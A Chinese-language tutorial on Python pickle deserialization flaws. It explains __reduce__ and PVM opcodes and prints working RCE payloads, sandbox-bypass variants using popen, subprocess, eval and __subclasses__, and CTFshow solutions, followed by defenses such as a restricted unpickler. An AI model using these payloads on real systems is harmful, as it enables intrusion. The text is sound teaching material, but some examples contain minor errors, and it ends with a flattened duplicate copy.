Python Pickle 反序列化漏洞(原理+示例)
字数 1954 2025-09-04 23:22:12

Python Pickle 反序列化漏洞深度解析

1. Pickle 基础

1.1 什么是 Pickle?

Pickle 是 Python 内置的序列化/反序列化模块,它能将任意 Python 对象转换为二进制流并还原。与 JSON 的主要区别在于:

对比项 Pickle JSON
可存储类型 任意 Python 对象(类、函数、集合等) 基本数据类型(数字、字符串、数组、字典)
跨语言性 Python 专用 跨语言
安全性 反序列化可执行代码 → 有安全风险 相对安全(只解析数据)

Pickle 文档明确警告:"pickle 模块不安全;只有在信任数据源时才使用。恶意构造的 pickle 数据可以在反序列化时执行任意代码"。

1.2 基本用法

Pickle 提供两个基本函数:

# 序列化
pickle.dumps(obj)  # 返回字节流
pickle.dump(obj, file)  # 写入文件

# 反序列化
pickle.loads(data)  # 从字节流加载
pickle.load(file)  # 从文件加载

序列化示例:

import pickle

data = {"name": "YoSheep", "role": "people"}
ser = pickle.dumps(data)  # 序列化
obj = pickle.loads(ser)  # 反序列化
print(obj)  # {'name': 'Sunny', 'role': 'people'}

1.3 自定义序列化行为

Python 允许类定义特殊方法来自定义序列化行为:

  • __getstate__ / __setstate__:自定义实例状态存取
  • __reduce__ / __reduce_ex__:在反序列化时自动调用,返回描述如何重构对象的可调用对象和参数元组

__reduce__() 可以返回 (func, args),Pickle 在加载时会执行 func(*args) 来重建对象。如果返回了额外的状态值,Unpickler 会调用 __setstate__ 来设置状态。

2. 漏洞原理

2.1 Pickle 虚拟机(PVM)

Pickle 反序列化过程相当于一个完整的虚拟机(Pickle VM,简称 PVM)在 Python 解释器中执行字节码序列。PVM 包含:

  1. 指令解析器:依次读取并执行操作码
  2. 操作栈:使用 Python list 实现,临时存储数据和中间结果
  3. memo:使用 Python dict 实现,用于避免重复反序列化同一对象

常见操作码(opcode):

指令 描述 栈变化
c 获取全局对象或导入模块 获得的对象入栈
o 调用栈中的函数 函数和参数出栈,返回值入栈
i c 和 o 的组合 同 c 和 o
R 调用函数(栈顶为函数,次顶为参数) 函数和参数出栈,返回值入栈
( 压入 MARK 标记 MARK 标记入栈
t 组合 MARK 到当前的数据为元组 MARK 和数据出栈,元组入栈
. 程序结束 返回栈顶元素

2.2 漏洞利用机制

攻击者可以在自定义类的 __reduce__ 方法中返回 (os.system, ('命令',)),将 os.system 函数及参数注入 Pickle 流。反序列化时:

  1. 导入 os.system
  2. 创建参数元组 ('命令',)
  3. 执行 REDUCE 调用命令

攻击链:

[Evil().__reduce__ 返回 os.system 及参数] 
→ Pickler.dumps() → [Pickle字节流] 
→ Unpickler.loads() → [PVM 执行 os.system('命令')]

2.3 漏洞危害

反序列化 Pickle 数据会执行其中指定的指令序列,攻击者可以:

  1. 执行任意系统命令
  2. 执行任意 Python 代码
  3. 读取/修改文件系统
  4. 建立反向 shell

3. 漏洞利用技术

3.1 基础利用

直接 RCE:

import pickle
import os

class Evil:
    def __reduce__(self):
        return (os.system, ('id',))

payload = pickle.dumps(Evil())
pickle.loads(payload)  # 执行 os.system('id')

构造 opcode payload:

import pickletools

opcode = b'''cos
system
(S'whoami'
tR.'''
pickletools.dis(opcode)
pickle.loads(opcode)  # 执行 whoami

3.2 绕过技术

使用替代函数

当 os.system 被禁用时:

# 使用 os.popen
class Exploit:
    def __reduce__(self):
        return (os.popen, ('id',))

# 使用 subprocess.Popen
class Exploit:
    def __reduce__(self):
        return (subprocess.Popen, (['/bin/sh','-c','id'],))

使用 eval/exec

class Exploit:
    def __reduce__(self):
        return (__import__('builtins').__dict__['eval'], 
                ("__import__('os').system('id')",))

跳过 find_class 检查

通过对象属性间接获取函数:

class Exploit:
    def __reduce__(self):
        # 通过 __class__.__base__.__subclasses__() 获取 builtins
        builtins_eval = ().__class__.__base__.__subclasses__()[138]
        return (builtins_eval, ("__import__('os').system('id')",))

利用函数闭包变量

def outer():
    def inner():
        return __builtins__['eval']
    return inner

class Exploit:
    def __reduce__(self):
        return (outer(), ("__import__('os').system('id')",))

间接访问 builtins

# 通过 builtins.getattr 和 globals() 获取 eval
payload = b'''cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
)RS'__builtins__'
tR(cbuiltins
getattr
RS'eval'
tR(S'__import__("os").system("id")'
tR.'''

4. 防御措施

  1. 避免反序列化不可信数据:这是最根本的解决方案
  2. 使用更安全的替代方案:如 JSON、msgpack 等
  3. 实现 RestrictedUnpickler:重写 find_class() 限制可导入的模块
  4. 签名验证:对序列化数据进行签名
  5. 沙箱环境:在受限环境中执行反序列化

示例 RestrictedUnpickler:

import pickle

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        # 只允许安全的模块和类
        if module == 'builtins' and name in ('int', 'str', 'list', 'dict'):
            return getattr(builtins, name)
        raise pickle.UnpicklingError(f"禁止导入 {module}.{name}")

def safe_loads(data):
    return RestrictedUnpickler(io.BytesIO(data)).load()

5. CTF 实战示例

CTFshow-web277

import pickle
import os
import base64

class Evil:
    def __reduce__(self):
        return (os.system, ('ls /',))

payload = pickle.dumps(Evil())
print(base64.b64encode(payload))  # 发送此 payload

CTFshow-web278 (过滤 os.system)

import pickle
import os
import base64

class Evil:
    def __reduce__(self):
        return (os.popen, ('cat flag',))  # 使用 popen 替代 system

payload = pickle.dumps(Evil())
print(base64.b64encode(payload))

或使用 subprocess:

class Evil:
    def __reduce__(self):
        return (subprocess.Popen, (['/bin/sh', '-c', 'cat flag'],))

6. 总结

Python Pickle 反序列化漏洞危害严重,攻击者可以通过构造恶意序列化数据实现任意代码执行。防御的关键在于:

  1. 永远不要反序列化不可信数据
  2. 如必须使用 Pickle,实施严格的输入验证和模块限制
  3. 考虑使用更安全的序列化方案替代 Pickle

理解 Pickle 的工作原理和漏洞机制,有助于开发者编写更安全的代码和安全人员识别相关风险。

Python Pickle 反序列化漏洞深度解析 1. Pickle 基础 1.1 什么是 Pickle? Pickle 是 Python 内置的序列化/反序列化模块,它能将任意 Python 对象转换为二进制流并还原。与 JSON 的主要区别在于: | 对比项 | Pickle | JSON | |--------|--------|------| | 可存储类型 | 任意 Python 对象(类、函数、集合等) | 基本数据类型(数字、字符串、数组、字典) | | 跨语言性 | Python 专用 | 跨语言 | | 安全性 | 反序列化可执行代码 → 有安全风险 | 相对安全(只解析数据) | Pickle 文档明确警告:"pickle 模块不安全;只有在信任数据源时才使用。恶意构造的 pickle 数据可以在反序列化时执行任意代码"。 1.2 基本用法 Pickle 提供两个基本函数: 序列化示例: 1.3 自定义序列化行为 Python 允许类定义特殊方法来自定义序列化行为: __getstate__ / __setstate__ :自定义实例状态存取 __reduce__ / __reduce_ex__ :在反序列化时自动调用,返回描述如何重构对象的可调用对象和参数元组 __reduce__() 可以返回 (func, args) ,Pickle 在加载时会执行 func(*args) 来重建对象。如果返回了额外的状态值,Unpickler 会调用 __setstate__ 来设置状态。 2. 漏洞原理 2.1 Pickle 虚拟机(PVM) Pickle 反序列化过程相当于一个完整的虚拟机(Pickle VM,简称 PVM)在 Python 解释器中执行字节码序列。PVM 包含: 指令解析器:依次读取并执行操作码 操作栈:使用 Python list 实现,临时存储数据和中间结果 memo:使用 Python dict 实现,用于避免重复反序列化同一对象 常见操作码(opcode): | 指令 | 描述 | 栈变化 | |------|------|--------| | c | 获取全局对象或导入模块 | 获得的对象入栈 | | o | 调用栈中的函数 | 函数和参数出栈,返回值入栈 | | i | c 和 o 的组合 | 同 c 和 o | | R | 调用函数(栈顶为函数,次顶为参数) | 函数和参数出栈,返回值入栈 | | ( | 压入 MARK 标记 | MARK 标记入栈 | | t | 组合 MARK 到当前的数据为元组 | MARK 和数据出栈,元组入栈 | | . | 程序结束 | 返回栈顶元素 | 2.2 漏洞利用机制 攻击者可以在自定义类的 __reduce__ 方法中返回 (os.system, ('命令',)) ,将 os.system 函数及参数注入 Pickle 流。反序列化时: 导入 os.system 创建参数元组 ('命令',) 执行 REDUCE 调用命令 攻击链: 2.3 漏洞危害 反序列化 Pickle 数据会执行其中指定的指令序列,攻击者可以: 执行任意系统命令 执行任意 Python 代码 读取/修改文件系统 建立反向 shell 3. 漏洞利用技术 3.1 基础利用 直接 RCE: 构造 opcode payload: 3.2 绕过技术 使用替代函数 当 os.system 被禁用时: 使用 eval/exec 跳过 find_ class 检查 通过对象属性间接获取函数: 利用函数闭包变量 间接访问 builtins 4. 防御措施 避免反序列化不可信数据 :这是最根本的解决方案 使用更安全的替代方案 :如 JSON、msgpack 等 实现 RestrictedUnpickler :重写 find_ class() 限制可导入的模块 签名验证 :对序列化数据进行签名 沙箱环境 :在受限环境中执行反序列化 示例 RestrictedUnpickler: 5. CTF 实战示例 CTFshow-web277 CTFshow-web278 (过滤 os.system) 或使用 subprocess: 6. 总结 Python Pickle 反序列化漏洞危害严重,攻击者可以通过构造恶意序列化数据实现任意代码执行。防御的关键在于: 永远不要反序列化不可信数据 如必须使用 Pickle,实施严格的输入验证和模块限制 考虑使用更安全的序列化方案替代 Pickle 理解 Pickle 的工作原理和漏洞机制,有助于开发者编写更安全的代码和安全人员识别相关风险。